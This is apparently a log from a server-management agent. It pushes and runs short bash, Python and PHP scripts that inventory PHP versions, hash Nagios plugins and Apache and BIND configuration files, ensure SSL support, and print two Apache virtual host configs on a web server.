----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-05-07 14:35:49: 

PUT: /tmp/pkp376125

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-05-07 14:35:49: 

chmod 755 /tmp/pkp376125; /tmp/pkp376125; rm /tmp/pkp376125

2026-05-07 14:35:50: 


[php8.1]
php=/usr/bin/php8.1
fpm=
version=
[php8.1]
php=/usr/bin/php8.1
fpm=
version=
[php8.3]
php=/usr/bin/php8.3
fpm=
version=
[php8.3]
php=/usr/bin/php8.3
fpm=
version=
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.20
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.20




STDERR:
/tmp/pkp376125: line 87: /usr/bin/php8.1: No such file or directory
/tmp/pkp376125: line 96: /usr/bin/php8.1: No such file or directory
/tmp/pkp376125: line 123: /usr/bin/php8.3: No such file or directory
/tmp/pkp376125: line 132: /usr/bin/php8.3: No such file or directory


2026-05-07 14:35:50: 

PUT: /tmp/pkp649054

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-05-07 14:35:51: 

chmod 755 /tmp/pkp649054; /tmp/pkp649054; rm /tmp/pkp649054

2026-05-07 14:35:51: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_ups)= 7fc188439261052a0089a7103b4ca5f0
bin(/usr/local/nagios/libexec/check_nwstat)= cad9eb4c84fade3e778388d1c397ca44
bin(/usr/local/nagios/libexec/check_smtp)= 58f20f1be6fe79ceb18495cdc8af30df
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 60fd670663059fda22ad3c69f060d28e
bin(/usr/local/nagios/libexec/check_apt)= 7d7bd3a78eeb8cb1cbff98658f6a2604
bin(/usr/local/nagios/libexec/check_swap)= f7b40653d50c41423fb55e1ef78fbd03
bin(/usr/local/nagios/libexec/check_real)= 10c4f762260b9188703147d7e2bf808e
bin(/usr/local/nagios/libexec/check_users)= acf263ca6679b08d634fce866a719390
bin(/usr/local/nagios/libexec/check_rpc)= 877c0b3732333358999e1ab17aed7a84
bin(/usr/local/nagios/libexec/check_ntp)= 3f27060ad856c95ba539b4a5e0ca9458
bin(/usr/local/nagios/libexec/check_disk)= dfb1f1e3c3262efcdd11d7bb366e9329
bin(/usr/local/nagios/libexec/check_dig)= 72f7fedb00b83dca84ddbedc6b1a9e65
bin(/usr/local/nagios/libexec/check_ide_smart)= e4282cdf643f611222dea7ed06ba7b1f
bin(/usr/local/nagios/libexec/check_breeze)= 17f1ae418f73ae66c13aedb92b0d7106
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_tcp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_printer.php)= e1b42354c26a7ee89ba22b3af8af1578
bin(/usr/local/nagios/libexec/check_ntp_peer)= 1012bb69dbe28a20c47f83cb8502829c
bin(/usr/local/nagios/libexec/check_php.php)= e6599d9e81018dcef125f7d7e05beaf9
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_sensors)= 93f23897502fce95ac37b42b63f8a121
bin(/usr/local/nagios/libexec/check_ntp_time)= 93818330bf26c2823c1985254019368d
bin(/usr/local/nagios/libexec/check_disk_smb)= 20df89ee7110f042d6119b51b6b47fcc
bin(/usr/local/nagios/libexec/check_file_age)= f9c9e8f272624bac2336c0dc261aa4f1
bin(/usr/local/nagios/libexec/check_overcr)= 31e5b6e8d961a2c25c2cdd4febef9a3d
bin(/usr/local/nagios/libexec/check_by_ssh)= 55b5fda59ebdd27200d63a13133113c2
bin(/usr/local/nagios/libexec/check_nntp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_mailq)= 28bc32f5bed1017ecdb469e69ecb59ac
bin(/usr/local/nagios/libexec/check_ping)= f33d99f6a394c5341f7bb6390e2f44c2
bin(/usr/local/nagios/libexec/check_flexlm)= cef725bcbe5623da973584232b0fb1ea
bin(/usr/local/nagios/libexec/check_time)= 75ff7b75649deaa34ba5a8115e7bc1ea
bin(/usr/local/nagios/libexec/check_mrtg)= 40c6d0f71161c67f491aa11f57715867
bin(/usr/local/nagios/libexec/check_uptime)= 0a77a9f937bfb2ab6607abdd74e62f41
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_ftp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_nagios)= cd16ecade3f59c4bedac7c3038b411b9
bin(/usr/local/nagios/libexec/check_udp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifoperstatus)= a7f0a5a6623cb153cd11cc419088c74b
bin(/usr/local/nagios/libexec/check_log)= 9292b8656dd3ebc9f9cb3f0acdf45cf7
bin(/usr/local/nagios/libexec/check_imap)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifstatus)= 13135b7e17d4daf1fa87d7cf2c4e4f22
bin(/usr/local/nagios/libexec/check_icmp)= b0d58b5701f7b86f7738a43f175ede4a
bin(/usr/local/nagios/libexec/check_oracle)= 9c5171e12f0b1fe84b51eff80842fb66
bin(/usr/local/nagios/libexec/check_ssh)= 0dd020c1f83941e7b62063c2a1d2954d
bin(/usr/local/nagios/libexec/check_wave)= 98dd0b7a7884c98ec62701568047e010
bin(/usr/local/nagios/libexec/check_pop)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_cluster)= 08aeb28f2a6b3dceddda1dd90918388a
bin(/usr/local/nagios/libexec/check_load)= 7953042df164e8e47234a955376f77f4
bin(/usr/local/nagios/libexec/check_procs)= 0891055bb921943995cbbd8e9b7218bb
bin(/usr/local/nagios/libexec/check_nt)= 31d152e80f15be7ec2cd7f38fcd17d7a
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_dhcp)= 66b6794ccc1f2702910eb2cf4503ada0
bin(/usr/local/nagios/libexec/check_ircd)= e006b8d46149f00c2e371ebd3176d283
bin(/usr/local/nagios/libexec/check_dns)= 2d442b7cf8b203520555e93b77b009e5
bin(/usr/local/nagios/libexec/check_clamd)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_dummy)= 99113a54b487e0c637b003dec276d294
bin(/usr/local/nagios/libexec/check_sensors.php)= 172c8cb7ebe7199e4f589ed2f4d4d46d
bin(/usr/local/nagios/libexec/check_http)= a3764b736da28a6c9d17d07b65887e57


2026-05-07 14:35:51: 

PUT: /tmp/pkp676535

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-05-07 14:35:51: 

chmod 755 /tmp/pkp676535; /tmp/pkp676535; rm /tmp/pkp676535

2026-05-07 14:35:52: 


status=ok


2026-05-07 14:35:52: 

PUT: /tmp/pkp967350

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-07 14:35:52: 

chmod 755 /tmp/pkp967350; /tmp/pkp967350; rm /tmp/pkp967350

2026-05-07 14:35:52: 
2026-05-07 14:35:52: 

PUT: /tmp/pkp694718

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/theyoungdesigners_stage.conf')
    show_file('/etc/apache2/sites-available/youngrepairs_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-07 14:35:53: 

chmod 755 /tmp/pkp694718; /tmp/pkp694718; rm /tmp/pkp694718

2026-05-07 14:35:53: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/theyoungdesigners_stage.conf	1424

<VirtualHost *:80>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/stage_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/stage_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/youngrepairs_www_com.conf	502

<VirtualHost *:80>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/youngrepairs_www
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/youngrepairs/www_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>






(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/cityelectric_www_online.conf)= 98a5766b5fedd44b564deeae2b7f4597
MD5(/etc/ssl/certs/58e746b88fcdd674270ef29574194035.crt)= 022cdad52e685522d13d48e47c3c5686
MD5(/etc/apache2/sites-available/pjy_home_us.conf)= b92aff1e8d83db409d859ecc91bbe2ea
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= 2298e5132e19c3f8863e74b7041ba773
MD5(/etc/apache2/sites-available/theyoungdesigners_stage.conf)= fc64afe4586a8bfa5c1631843e3180d4
MD5(/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt)= 17a958139644e8e66f4954ca8fc2f637
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf)= 40743bf141b7da55b55cc9e1aa210026
MD5(/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt)= b3fe622ab65ad51119816e4134b01563
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= ca34edd674c003e68e65b9ddf3a5583b
MD5(/etc/apache2/sites-available/pjy_alive_us.conf)= 11f7b6884662bd4fc09883fceeb3679c
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= 2298e5132e19c3f8863e74b7041ba773
MD5(/etc/apache2/sites-available/youngrepairs_www_com.conf)= adc4cf2817a357771b74d0d2ff7cfbc4
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2/sites-available/pjy_home_us.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_stage.conf)= /etc/apache2/sites-available/theyoungdesigners_stage.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf
link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2/sites-available/pjy_alive_us.conf
link(/etc/apache2/sites-enabled/youngrepairs_www_com.conf)= /etc/apache2/sites-available/youngrepairs_www_com.conf




STDERR:
/tmp/pkp967350:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-05-07 14:35:53: Establishing a connection
2026-05-07 14:35:54: 

PUT: /tmp/pkp384688

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-07 14:35:54: 

runuser -l bind -s /bin/bash -c '/tmp/pkp384688; rm /tmp/pkp384688'

2026-05-07 14:35:54: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
